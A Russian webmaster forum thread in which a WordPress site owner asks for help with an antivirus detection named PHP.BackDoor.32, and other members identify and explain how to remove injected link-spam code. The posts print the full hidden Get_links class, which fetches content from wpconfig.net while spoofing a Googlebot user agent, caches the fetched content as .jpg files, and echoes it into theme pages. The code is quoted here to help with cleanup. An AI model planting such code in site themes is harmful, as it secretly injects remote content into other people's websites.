Помогите выявить вирус PHP.BackDoor.32

N
На сайте с 09.05.2014
Offline
11
3551

Уважаемые форумчане, прошу помочь выявить вирус PHP.BackDoor.32

обнаруженный ДокВэбом

в funktion.php темы

антивирь ругается именно на этот кусок кода

   function get_remote() {

$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;

@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', $_socket_timeout);
@ini_set('user_agent', $_user_agent);

if (function_exists('file_get_contents')) {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Referer: {$req_url}\r\n".
"User-Agent: {$_user_agent}\r\n"
)
);
$context = stream_context_create($opts);

$data = @file_get_contents('http://' . $host . $path, false, $context);
preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
$data = @$data[2];
return $data;
}
return '<!--link error-->';
}

function return_links($lib_path) {
$links_class = new Get_links();
$file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg';
$_cache_lifetime = $links_class->_cache_lifetime;

if (!file_exists($file))
{
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} else {
$data = file_get_contents($file);
return $data;
}

я в программировании абсолютный ноль поэтому ногами особо не пинайте )

http://www.afrus.org/ (http://www.afrus.org/), http://e-searching.net/ (http://e-searching.net/) что сделать, чтобы они заработали...
ДП
На сайте с 23.11.2009
Offline
203
#1

Этот код вы добавляли? А так это код ссылочной биржи, кто-то продает ссылки с вашего сайта.

Я бы поискал использование функции return_links() по файлам.

N
На сайте с 09.05.2014
Offline
11
#2

return_links

встречается в

опять же ф funktions и ещё в comments

если я правильно понял этот код целиком от биржи торговли временными ссылками?

то есть если я его просто уберу это нормально? или ещё что чистить нужно?

T
На сайте с 17.04.2015
Offline
1
#3
nanotexnolog:
return_links
встречается в
опять же ф funktions и ещё в comments


если я правильно понял этот код целиком от биржи торговли временными ссылками?

то есть если я его просто уберу это нормально? или ещё что чистить нужно?

может быть по всему движку рассован код.

для начала можно пароль на ftp поменять. а потом уже можно восстановиться из бекапа до заселения вируса, если такой есть.

maximka77
На сайте с 15.10.2011
Offline
245
#4

nanotexnolog, шаблоны где попало не скачивайте.

Ищите и удаляйте в файле comments.php такую строчку:

<?php $lib_path = dirname(__FILE__).’/’; require_once(‘functions.php’); $links = new Get_links(); $links = $links->get_remote(); echo $links; ?>

Иногда могут в footer.php и header.php вставлять.

После этого в файле functions.php ищите и удаляйте примерно такой код:

class Get_links { 

var $host = 'wpconfig.net';
var $path = '/system.php';
var $_cache_lifetime = 21600;
var $_socket_timeout = 5;

function get_remote() {
$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";

$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;

@ini_set(‘allow_url_fopen', 1);
@ini_set(‘default_socket_timeout', $_socket_timeout);
@ini_set(‘user_agent', $_user_agent);

if (function_exists(‘file_get_contents')) {
$opts = array(
‘http'=>array(
‘method'=>"GET",
‘header'=>"Referer: {$req_url}\r\n".
"User-Agent: {$_user_agent}\r\n"
)
);
$context = stream_context_create($opts);

$data = @file_get_contents(‘http://' . $host . $path, false, $context);
preg_match(‘/(\<\!—link—\>)(.*?)(\<\!—link—\>)/', $data, $data);
$data = @$data[2];
return $data;
}
return '<!—link error—>';
}

function return_links($lib_path) {
$links_class = new Get_links();
$file = ABSPATH.'wp-content/uploads/2011/'.md5($_SERVER['REQUEST_URI']).'.jpg';
$_cache_lifetime = $links_class->_cache_lifetime;

if (!file_exists($file))
{
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} else {
$data = file_get_contents($file);
return $data;
}
}
}

Он может немного отличаться, ищите его в поиске как "class Get_links".

Это очень распространенный пример, хотя могут быть и другие варианты, для этого нужно ваш сайт смотреть.

- Базы чатов и каналов Телеграм ( https://base-top.ru/ ) - Недорогие ссылки с форумов (https://cutt.ly/swQDFZWx)
N
На сайте с 09.05.2014
Offline
11
#5

Благодарю за помощь.

Поудалял что нашёл, но то ли лишнее удалил то ли ещё чего в общем вылезла такая ошибка

Fatal error: Call to undefined function wp_related_posts() in /home/host1338264/diapress.info/htdocs/www/wp-content/themes/NewsBest/single.php on line 35


<script type="text/javascript">HATEstartButton();</script>

<?php if(function_exists('the_views')) { the_views(); } ?>

<div>
<?php wp_related_posts(); ?>
</div>

<?php the_smli(); ?>

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий